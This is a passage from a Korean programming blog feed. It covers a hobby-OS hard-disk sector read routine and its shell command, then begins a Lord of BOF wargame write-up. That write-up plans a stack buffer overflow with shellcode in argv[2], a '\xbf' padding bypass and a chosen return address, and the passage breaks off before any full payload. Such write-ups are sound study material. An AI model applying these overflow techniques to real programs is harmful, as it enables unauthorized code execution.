&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;섹터&amp;nbsp;1개 읽어오기&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;__volatile__&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;al,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #f44747;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;0;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;dx,0x1F3;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;out&amp;nbsp;dx,&amp;nbsp;al;&quot;&lt;/span&gt;&amp;nbsp;::&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;r&quot;&lt;/span&gt;(LBA_a)&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&amp;nbsp;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;__volatile__&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;al,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #f44747;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;0;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;dx,0x1F4;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;out&amp;nbsp;dx,&amp;nbsp;al;&quot;&lt;/span&gt;&amp;nbsp;::&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;r&quot;&lt;/span&gt;(LBA_b)&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;__volatile__&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;al,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #f44747;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;0;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;dx,0x1F5;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;out&amp;nbsp;dx,&amp;nbsp;al;&quot;&lt;/span&gt;&amp;nbsp;::&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;r&quot;&lt;/span&gt;(LBA_c)&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&amp;nbsp;&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;하드디스크&amp;nbsp;드라이버가&amp;nbsp;명령을&amp;nbsp;받을&amp;nbsp;수&amp;nbsp;있는지&amp;nbsp;체크&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;while&lt;/span&gt;&amp;nbsp;((&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDD_BSY&lt;/span&gt;()&amp;nbsp;==&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;&amp;nbsp;)||&amp;nbsp;(&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDD_DRDY&lt;/span&gt;()==&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;));&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;0x20 : 읽기 명령&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;__volatile__&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;al,&amp;nbsp;0x20;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;dx,0x1F7;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;out&amp;nbsp;dx,&amp;nbsp;al;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;order 후 error 발생 시 read 중단. &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDD_ERR&lt;/span&gt;()&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;)&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;kprintf&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;Error!!&quot;&lt;/span&gt;,&amp;nbsp;videomaxline&amp;nbsp;-&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;);&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;while&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDD_DRQ&lt;/span&gt;()&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;);&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;데이터를&amp;nbsp;다&amp;nbsp;읽을&amp;nbsp;때까지&amp;nbsp;대기&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;읽기가&amp;nbsp;성공 -&amp;gt;&amp;nbsp;Buffer에 데이터를 512바이트만큼 옮김&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;__volatile__&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;dx,0x1F0;&quot;&lt;/span&gt;);&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;__volatile__&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;edi,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #f44747;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;0;&quot;&lt;/span&gt;&amp;nbsp;:&amp;nbsp;:&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;r&quot;&lt;/span&gt;(buffer));&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;__volatile__&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;ecx,&amp;nbsp;256&quot;&lt;/span&gt;);&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;__volatile__&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;rep&amp;nbsp;insw&quot;&lt;/span&gt;);&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;// ds:edi 주소에 dx포트의 값을 2바이트 읽는 명령어. 한번 실행 시 0x1F0에 담긴 정보를 buffer에 저장하게 됨.&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;}&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;하드웨어 구현이 끝났지만 이대로는 제대로 구현이 되었는지 어렵기 때문에 hdd.img에 각 섹터의 시작 부분에 여기가 어떤 섹터인지 알리는 데이터를 저장한다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;- 0x000 : &quot;This is sector 0&quot;&lt;/p&gt;
&lt;p&gt;- 0x200 : &quot;This is sector 1&quot;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lH4Yt/btqAhU6NJet/KxJgBaygfro8EDgCOGqxYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lH4Yt/btqAhU6NJet/KxJgBaygfro8EDgCOGqxYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lH4Yt/btqAhU6NJet/KxJgBaygfro8EDgCOGqxYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlH4Yt%2FbtqAhU6NJet%2FKxJgBaygfro8EDgCOGqxYk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이 문자열을 확인하기 위해 shell 명령어를 하나 추가한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;#shell.c - sh_HDDread()&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;color: #d4d4d4; background-color: #1e1e1e; font-family: Consolas, 'Courier New', monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;
&lt;div&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;void&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;sh_HDDread&lt;/span&gt;()&lt;/div&gt;
&lt;div&gt;{&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDDread&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&amp;nbsp;diskbuffer);&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;kprintf&lt;/span&gt;(diskbuffer,&amp;nbsp;++curline,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;);&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDDread&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;,&amp;nbsp;diskbuffer);&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;kprintf&lt;/span&gt;(diskbuffer,&amp;nbsp;++curline,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;);&lt;/div&gt;
&lt;div&gt;}&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;- diskbuffer를 data.h에 unsigned char diskbuffer[512]; 로 수정&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;#main.c - translate_shell()&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;color: #d4d4d4; background-color: #1e1e1e; font-family: Consolas, 'Courier New', monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;
&lt;div&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;void&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;translate_shell&lt;/span&gt;()&lt;/div&gt;
&lt;div&gt;{&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;keyboard&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;]&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;)&amp;nbsp;{&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;;&amp;nbsp;}&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #dcdcaa;&quot;&gt;kstrcmp&lt;/span&gt;(keyboard,&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;clear&quot;&lt;/span&gt;))&amp;nbsp;{&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;sh_clear&lt;/span&gt;();&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;;&amp;nbsp;}&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #dcdcaa;&quot;&gt;kstrcmp&lt;/span&gt;(keyboard,&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;version&quot;&lt;/span&gt;))&amp;nbsp;{&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;sh_version&lt;/span&gt;();&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;;&amp;nbsp;}&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #dcdcaa;&quot;&gt;kstrcmp&lt;/span&gt;(keyboard,&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;read&quot;&lt;/span&gt;))&amp;nbsp;{&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;sh_HDDread&lt;/span&gt;();&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;;&amp;nbsp;}&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;kprintf&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;There&amp;nbsp;is&amp;nbsp;no&amp;nbsp;such&amp;nbsp;command.&quot;&lt;/span&gt;,++curline,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;);&lt;/div&gt;
&lt;div&gt;}&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;- 방금 추가한 sh_HDDread() 함수를 실행할 수 있도록 read 명령어를 추가해준다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;컴파일 후 실행할 경우, 다음과 같이 정상적으로 실행한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Project/OStrial in AMAZON</category>
      <author>NONE_31D</author>
      <guid isPermaLink="true">https://pseudo-comsci.tistory.com/70</guid>
      <comments>https://pseudo-comsci.tistory.com/70#entry70comment</comments>
      <pubDate>Sun, 8 Dec 2019 20:54:36 +0900</pubDate>
    </item>
    <item>
      <title>LOB: orc-&amp;gt;wolfman</title>
      <link>https://pseudo-comsci.tistory.com/69</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;1. wolfman.c 분석&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKajg7/btqAeG0xuLt/HJsHUMkkKnbDwWkHaGjRbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKajg7/btqAeG0xuLt/HJsHUMkkKnbDwWkHaGjRbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKajg7/btqAeG0xuLt/HJsHUMkkKnbDwWkHaGjRbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKajg7%2FbtqAeG0xuLt%2FHJsHUMkkKnbDwWkHaGjRbk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;- argv[1][47] == &quot;\xbf&quot; 을 지키도록 페이로드 작성해야 함&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;- memset(buffer, 0, 40) -&amp;gt; 버퍼에다 오버플로 불가, argv[2]에 쉘코드 삽입 예정&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;먼저 write-up을 올린 troll과 비슷하게 페이로드를 작성할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;2. 디버깅&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 20px;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/czNQIm/btqAbn9cR7Z/uaOucyFpmq2qko7KLke2Pk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/czNQIm/btqAbn9cR7Z/uaOucyFpmq2qko7KLke2Pk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/czNQIm/btqAbn9cR7Z/uaOucyFpmq2qko7KLke2Pk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FczNQIm%2FbtqAbn9cR7Z%2FuaOucyFpmq2qko7KLke2Pk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzpPyZ/btqAbomMDR3/BddMU73sPzyGrX97CopPk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzpPyZ/btqAbomMDR3/BddMU73sPzyGrX97CopPk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzpPyZ/btqAbomMDR3/BddMU73sPzyGrX97CopPk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzpPyZ%2FbtqAbomMDR3%2FBddMU73sPzyGrX97CopPk0%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NTJgb/btqAccsOA70/6n4Uke4gYXhXaBBITe1eC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NTJgb/btqAccsOA70/6n4Uke4gYXhXaBBITe1eC1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NTJgb/btqAccsOA70/6n4Uke4gYXhXaBBITe1eC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNTJgb%2FbtqAccsOA70%2F6n4Uke4gYXhXaBBITe1eC1%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;strcpy 직후 bp 건 후, argv[2]의 위치 확인&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/beCeaQ/btqAddR5vCH/abeHfm3zA9kiY28u03urKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/beCeaQ/btqAddR5vCH/abeHfm3zA9kiY28u03urKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/beCeaQ/btqAddR5vCH/abeHfm3zA9kiY28u03urKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbeCeaQ%2FbtqAddR5vCH%2FabeHfm3zA9kiY28u03urKK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&quot;\xbf&quot;*48을 통해 if 구문 우회 후 A가 저장된 공간을 확인할 수 있다. 대충 0xbffffad4를 argv[2]의 주소로 사용할 예정.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
